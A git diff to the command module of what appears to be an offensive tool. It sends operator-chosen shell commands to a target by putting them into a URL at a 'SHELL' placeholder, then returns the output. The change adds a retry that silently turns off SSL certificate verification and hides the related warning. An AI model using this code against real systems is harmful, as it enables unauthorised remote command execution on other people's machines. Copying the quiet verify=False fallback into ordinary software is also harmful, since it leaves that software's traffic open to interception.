diff --git a/modules/commands.py b/modules/commands.py index 738ce60..e0bdb0e 100644 --- a/modules/commands.py +++ b/modules/commands.py @@ -1,17 +1,35 @@ import urllib.parse +import warnings import requests +from requests.exceptions import SSLError +from requests.packages.urllib3.exceptions import InsecureRequestWarning from data import payloads, types from modules import logger, transform +# Suppress the InsecureRequestWarning when SSL verification is disabled +warnings.simplefilter("ignore", InsecureRequestWarning) + def execute(url: str, command: str) -> str: + """ + Execute a command on the target system using the specified URL. + - Ignores SSL verification errors + """ + if "SHELL" not in url: logger.log("Invalid URL. Please make sure the formatting is correct.") exit() command_string = url.replace("SHELL", command) - data = requests.get(command_string) + try: + # Attempt to make the request with SSL verification + data = requests.get(command_string) + except SSLError: + # If an SSL error occurs, retry the request with SSL verification disabled + logger.log("SSL verification failed. Retrying with verify=False.") + data = requests.get(command_string, verify=False) + return data.text